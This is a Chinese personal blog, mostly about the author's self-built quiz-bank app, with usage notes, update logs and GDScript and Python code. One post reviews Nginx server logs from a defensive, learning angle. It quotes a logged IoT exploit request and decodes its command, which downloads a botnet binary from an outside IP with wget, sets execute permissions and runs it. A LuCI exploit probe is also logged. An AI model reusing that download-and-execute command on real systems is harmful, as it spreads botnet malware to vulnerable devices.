作者: chentushen

  • 个人题库分享

    食用指南


    这是主页,这些是已经实现/未来会更新的内容。
    开始/错题本:进入选择题库阶段 错题本进入的是错题文件夹
    录入:暂不可用(尚未更新完)
    检查完整性&收藏夹:暂未更新
    设置:隐私协议和背景设置 以后还会更新关于字体和颜色的主题管理

    点击左下角查看历史记录即可查看最近的历史记录(具体内容可查看下方图片)
    现在功能有限,不能单独删除,只能删除全部。
    题库选择界面左侧按钮为答题设置:
    随机顺序:随机顺序
    计时器:进入答题界面右上角有个计时器
    错题记录:本次做错的题目自动计入错题本文件夹
    点击右侧文本即可进入选定题库

    答题界面展示
    点击选项进行选择,后面会更新根据输入(键盘)进行快捷选择
    最近兼容了简答题,点击下方即可输入答案,详情见之前更新日志
    右上角会显示实时时间和计时器(如果开启)
    左上角会统计本次答题的基础信息:
    题库标签,答题进度,正确率等。

    自定义设置


    自定义背景设置:
    可以设置导入的背景以及更改现在已有的背景显示(水平翻转/关闭)

    程序第一次启动后会自动创建几个新的空文件夹
    其中自定义背景文件需要放入background文件夹
    (仅支持常见图片格式)
    bank文件夹下为自行导入题库(已禁用)
    export文件夹为导出题库位置(暂未更新)
    history文件夹为历史记录文件夹
    mistake_note为错题本文件夹

    资源下载


    “我们为代码负责,您为点击负责。”

    Think first.

    源码查看:
    GitHub

  • 个人题库-更新日志

    这是关于填空题的更新展示,使用的是简单的判断公式,如果输入和文本中已有的文本,且长度和答案相似则视为正确。这个BUG无伤大雅,懒得修了。

    更新简述 V2.01.6.2

    更新了简答题和填空题的兼容
    优化了部分代码

    未来更新目标

    V2.01.6.5

    更新对B型(同一选项不同题干的连续型选择题)以及含图题目

    V2.01.7

    可以通过服务器空中下载最新题库
    题库加密处理

    我很懒的

    《浮士德》——歌德

    “要每天每日去开拓生活和自由,然后才能作自由与生活的享受。”

  • 服务器日志记录

    开了一段时间服务器了 没装cloudfare 每天都能看好多的日志
    下面是几个我遇到比较有趣的

    僵尸大军

    121.29.178.2X - - [04/Oct/2025:::06 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    58.212.237.24X - - [04/Oct/2025:::13 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    111.113.88.25X - - [04/Oct/2025:::08 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    121.29.178.13X - - [04/Oct/2025:::20 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) 
    Nginx

    来自各个IP段的可怜的僵尸网络过境我的主页 但是我主页并没有什么东西唔

    🛒 自动化漏洞扫描

    • 行为: 2秒内尝试20+种不同系统的管理界面
    • 扫描目标:
    • WordPress插件 (6种)
    • 数据库管理 (phpMyAdmin)
    • 微服务系统 (Nacos)
    • 企业系统 (用友CWbase)
    • 状态: 97%返回404,完美阻断

    学习点: 现代扫描器会系统性探测所有常见服务路径

    有意思的爬虫

    92.119.36.14X - - [04/Oct/2025:00::00 +0800] "POST / HTTP/1.1" 200 12077 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
    92.119.36.11X - - [04/Oct/2025:00::01 +0800] "POST / HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    92.119.36.10X - - [04/Oct/2025:00::02 +0800] "GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    92.119.36.15X - - [04/Oct/2025:00::03 +0800] "POST / HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    Nginx

    666 <play>withme</>

    一些互联网企业

    Palo Alto Networks(派拓网络)的官方安全扫描器

    <br>62.216.149.18X - - [05/Oct/2025:::43 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 138 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br>205.210.31.X - - [05/Oct/2025::29 +0800] "GET / HTTP/1.1" 301 5 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br>205.210.31.X - - [05/Oct/2025::29 +0800] "GET / HTTP/1.1" 200 12077 "http://--我的网址不给你们看--/" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br><br>
    Nginx
    • 行为: 访问首页进行安全评估
    • 特色: User-Agent中直接表明身份并提供文档链接
    • 状态: 200 OK – 正常响应

    “Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity”

    学习点: 顶级安全公司的扫描是透明、合规的互联网普查

    诺基亚的扫描器

    216.180.246.18X - - [04/Oct/2025::56 +0800] "GET / HTTP/1.1" 200 12077 "-" "'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'"
    216.180.246.18X - - [04/Oct/2025::33 +0800] "GET /favicon.ico HTTP/1.1" 404 138 "-" "'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'
    Nginx

    可恶的攻击者

    物联网漏洞攻击者

    144.172.100.17X - - [04/Oct/2025::04 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77..50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk HTTP/1.1" 404 138 "-" "Mozilla/5.0"
    Nginx

    攻击流程

    • 步骤1: “cd /tmp # 进入临时目录”,
    • 步骤2: “rm boatnet.arm7 # 删除旧版本(如果存在)”,
    • 步骤3: “wget http://103.77.—.50/hiddenbin/boatnet.arm7 # 下载恶意软件”,
    • 步骤4: “chmod 777 * # 给所有文件执行权限”,
    • 步骤5: “./boatnet.arm7 tbk # 执行僵尸网络程序”
    **学习点**: 物联网设备是僵尸网络的重要目标,保持系统更新很重要

    执着的攻击者

    7.60.141.15X - - [04/Oct/2025::59 +0800] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 138 "-" "-"
    Nginx

    这个攻击者已经尝试用LUCI漏洞攻击两次了 我真的不是物联网设备

    其他漏洞攻击

    wordpress漏洞 .git漏洞 后门漏洞 XML漏洞 还有好多好多... 每天这种经典漏洞攻击不下百次唔
    Nginx

    小计

    每天能看到我的网站人来人往感觉挺不错的 虽然不是正常的访问者 感觉每天看日志我都能识别他们要干嘛了 也算是一种学习吧

  • 个人题库-更新日志 RegEx

    V2.01.6 2025-10-03更新:错题本更新,现在打开错题记录开关本次错误题目会在答题结束后计入错题题库存储在根目录mistake_note文件夹下

    	for problem in json_array:
    		var problem_id = problem["id"]
    		# 跳过占位符题目
    		if "占位符" in problem["question"]:
    			if not header_added:
    				# 添加文件头信息
    				var header_problem = problem.duplicate()
    				header_problem["question"] = "错题集合 - 源自: " + file_name_ + " - 导出时间: " + time() 
    				mistake_collection.append(header_problem)
    				header_added = true
    			continue
    		
    		# 如果是错题,添加到集合中
    		if problem_id in mistakes:
    			var mistake_problem = problem.duplicate()
    			# 添加错题次数信息
    			if mistake_count_dict.has(problem_id):
    				mistake_problem["mistake_count"] = mistake_count_dict[problem_id]
    			else:
    				mistake_problem["mistake_count"] = 1
    			mistake_collection.append(mistake_problem)
    	
    	if mistake_collection.size() <= 1:  # 只有文件头,没有实际错题
    		return
    	
    	# 生成文件名:原文件名_年月日_时分.json
    	var time_dict = Time.get_datetime_dict_from_system(false)
    	var filename_suffix = "%04d%02d%02d_%02d%02d" % [
    		time_dict["year"], time_dict["month"], time_dict["day"],
    		time_dict["hour"], time_dict["minute"]
    	]
    	
    	var mistake_filename = file_name_ + "_mistakes_" + filename_suffix + ".json"
    	var mistake_file_path = exe_get_mistake_note_file().path_join(mistake_filename)
    	
    	# 保存错题集合文件
    	var json_string = JSON.stringify(mistake_collection, "\t")
    	var file = FileAccess.open(mistake_file_path, FileAccess.WRITE)
    	if file:
    		file.store_string(json_string)
    		file.close()
    		print("错题集合已导出: ", mistake_file_path)
    		print("包含错题数量: ", mistake_collection.size() - 1)  # 减去文件头
    	else:
    		print("错题集合导出失败: ", mistake_file_path)
    GDScript

    其中占位符部分记录本次做题信息,包括校验码,防止恶意的题库泄露。

    if is_mistake_mode:
    			# 匹配格式:原文件名_mistakes_年月日_时分
    			var regex = RegEx.new()
    			regex.compile(".*_mistakes_\\d{8}_\\d{4}$")
    			should_show = regex.search(filename) != null
    		# 题库模式:不显示包含日期格式的文件
    		else:
    			# 排除包含日期格式的文件
    			var regex = RegEx.new()
    			regex.compile(".*_mistakes_\\d{8}_\\d{4}$")
    			should_show = regex.search(filename) == null
    GDScript

    RegEX 正则表达式的使用

    这个正则表达式的含义:

    • .* – 匹配任意字符(除了换行符)0次或多次
    • _mistakes_ – 匹配固定的文本 “mistakes“
    • \\d{8} – 匹配8个数字(年月日:20231225)
    • _ – 匹配下划线
    • \\d{4} – 匹配4个数字(时分:0930)
    • $ – 匹配字符串的结尾

    所以这个正则表达式匹配的是:任意文本 + “mistakes” + 8位数字 + “_” + 4位数字 的文件名格式。

    常用的正则表达式符号:

    符号含义例子
    .匹配任意单个字符a.c 匹配 “abc”, “a c”, “a-c”
    *前一个字符0次或多次ab*c 匹配 “ac”, “abc”, “abbc”
    +前一个字符1次或多次ab+c 匹配 “abc”, “abbc”(不匹配”ac”)
    ?前一个字符0次或1次ab?c 匹配 “ac”, “abc”
    \d匹配数字\d+ 匹配 “123”, “45”
    \w匹配字母、数字、下划线\w+ 匹配 “hello”, “abc123”
    []匹配括号内的任意字符[abc] 匹配 “a”, “b”, “c”
    ^匹配字符串开头^Hello 匹配以”Hello”开头的字符串
    $匹配字符串结尾world$ 匹配以”world”结尾的字符串
    {n}匹配前一个字符n次\d{4} 匹配4位数字

    使用正则表达式 示例:

    # 1. 创建RegEx对象
    var regex = RegEx.new()
    
    # 2. 编译正则表达式模式
    regex.compile("你的模式")
    
    # 3. 使用它来搜索或匹配
    var result = regex.search("要搜索的文本")
    
    # 检查是否匹配成功
    if result:
        print("找到匹配!")
        print("匹配的内容:", result.get_string())
    else:
        print("没有找到匹配")

    使用了正则表达式简化了代码

    更新内容:

    使用了新的变量让原有题库选择界面兼容了错题本,简化了软件逻辑和页面用量。
    添加了 线下与线上两者验证方式,防止软件的随意盗用甚至是倒卖
    优化了设置细节,读取外部文件不再由Debug模式统一管理而是不同的_Host进行管理。使必要部分可以读取和修改外部文件。
    购买了正版验证配套验证服务。

    已知的BUG

    安卓版只能读取封装文件,使得不能进行做题历史记录和错题自动整理以及随意的背景更换。
    安卓版不支持HTTP协议传输,导致只能进行封装的线下验证。
    暂不支持IOS

    计划中的更新

    V2.01.X

    推出收藏夹模块
    兼容B型选择题、含图题目、填空题。

    V2.0X.Y

    社区功能
    考试模式
    …

  • 个人题库-更新日志

    现在网络上面题库系统都太昂贵,所以我自己搓了一个。

    这是题库的核心,访问json文件,所有的题目都存在json内:

    class JsonQuestionBank:
        def __init__(self, file_path: str = 'questions.json'):
            self.file_path = file_path
            self.questions = self._load_questions()
            
        def _load_questions(self) -> List[Dict]:
            try:
                with open(self.file_path, 'r') as f:
                    return json.load(f)
            except (FileNotFoundError, json.JSONDecodeError):
                return []
        
        def _save_questions(self):
            with open(self.file_path, 'w') as f:
                json.dump(self.questions, f, indent=2)
        
        def add(self, question: str, tags: str, options: List[str], answer: str) -> int:
            """添加题目并返回ID"""
            q_id = len(self.questions) + 1
            self.questions.append({
                'id': q_id,
                'tags':tags,
                'question': question,
                'options': options,
                'answer': answer
            })
            self._save_questions()
            return q_id
        
        def get(self, q_id: int) -> Dict:
            """根据ID获取题目"""
            return next((q for q in self.questions if q['id'] == q_id), None)
        
        def get_random(self) -> Dict:
            """随机获取一道题"""
            return random.choice(self.questions) if self.questions else None
        
        def delete(self, q_id: int) -> bool:
            """删除题目"""
            for i, q in enumerate(self.questions):
                if q['id'] == q_id:
                    self.questions.pop(i)
                    self._save_questions()
                    return True
            return False
    Python

    这是核心访问部分,可交互性过低,只能实现命令行式的交互,我有额外写了一些增加交互性的代码。

    #while 循环 和 input堆砌的屎山

    这就是第一版可用版本了,交互性太低了。

    现在是已经更新的功能和版本

    • V0.1 2025/05/20 更新基础录入题目,随机答题,检查所有题干以及特定题干功能
    • V0.2 2025/06/02 更新支持含图片题目录入(仅一张),选定题目检查
    • 已知的BUG:插入图片可能引起颈椎病
    • V0.3-V1.4 2025/07/03 修复部分BUG 质量更新 处理后雨课堂题库导入 便捷题库自选
    • V2.0 2025/08/30 换源 还未更新录入部分对非含图片题库/B型选择题兼容更新随机答题
    • V2.01 2025/09/01 更新了实时时间和计时器更新了正确率和进度展示更新了可更换背景板雏形
    • V2.01.1 2025/09/02 添加历史答题历史记录
    • V2.01.2 2025/09/03 添加设置-更换背景
    • V2.01.3 2025/09/04 导出版本 完成APK初步完成
    • V2.01.5 2025/09/24 添加后台录入系统
    • 计划中的更新:错题本 收藏夹 双端同步

    我希望能开发一个人人都能便捷使用的题库系统,后面我还会继续分享我软件的更新历程。